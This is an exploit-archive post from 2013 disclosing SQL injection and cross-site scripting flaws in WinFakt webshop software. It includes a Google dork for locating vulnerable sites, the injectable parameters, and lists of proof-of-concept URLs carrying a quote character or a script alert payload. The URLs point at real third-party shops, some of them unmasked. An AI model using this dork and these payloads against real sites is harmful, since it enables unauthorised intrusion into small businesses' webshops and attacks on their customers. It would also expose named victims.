Home / exploits

PDF

Winfakt SQL Injection / Cross site scripting Vulnerabilites

Posted on 11 September 2013

#********************************************************************************
# Exploit Title : winfakt Sql injection / Cross site scripting Vulnerabilites
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : http://www.winfakt.be
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"Powered by WinFakt! webwinkel"
#
# Date: 2013/09/10
#
--------------------------------------------------------------------
# Exploit 1 : Sql Injection
#
# Location : [Target]/index.asp?G=&M=[Sql Injection]
#
#
# Proof:
#
# http://sXXice.nl/index.asp?G=&M=1'
#
# http://shoXXleon.be/index.asp?G=&M=1'
#
# http://shXXXmputers.be/index.asp?G=&M=1'
#
# http://shop.fXXshtoys.be/index.asp?G=&M=1'
#
# http://www.eleXXa.com/index.asp?G=&M=1'
#
# http://webshop.tnXrs.be/index.asp?G=&M=1'
#
# http://shXhop.be/index.asp?G=&M=1'
#
# http://wwXhing.be/index.asp?G=&M=1'
#
# http://shopXXXdia.be/index.asp?G=&M=1'
#
# http://webXXn.be/index.asp?G=&M=1'
--------------------------------------------------------------------
# Exploit 2 : Cross site scripting
#
# Location : [Target]/index.asp?search=[xss]
#
#
# Proof:
#
# http://shXXXrvice.nl/index.asp?search=<script>alert(1);</script>
#
# http://sXXeon.be/index.asp?search=<script>alert(1);</script>
#
# http://shoXXmputers.be/index.asp?search=<script>alert(1);</script>
#
# http://shop.fXXoys.be/index.asp?search=<script>alert(1);</script>
#
# http://www.eleXXXuXXa.com/index.asp?search=
<script>alert(1);</script>
#
# http://webshop.tngcomputers.be/index.asp?search=<script>alert(1);</script>
#
# http://shop.tmediashop.be/index.asp?search=<script>alert(1);</script>
#
# http://www.snackbareverything.be/index.asp?search=<script>alert(1);</script>
#
# http://shop.XXXbe/index.asp?search=<script>alert(1);</script>
#
# http://webshXXop.XXX.be/index.asp?search=<script>alert(1);</script>
#
######################
discovered by : ACC3SS
######################

 

TOP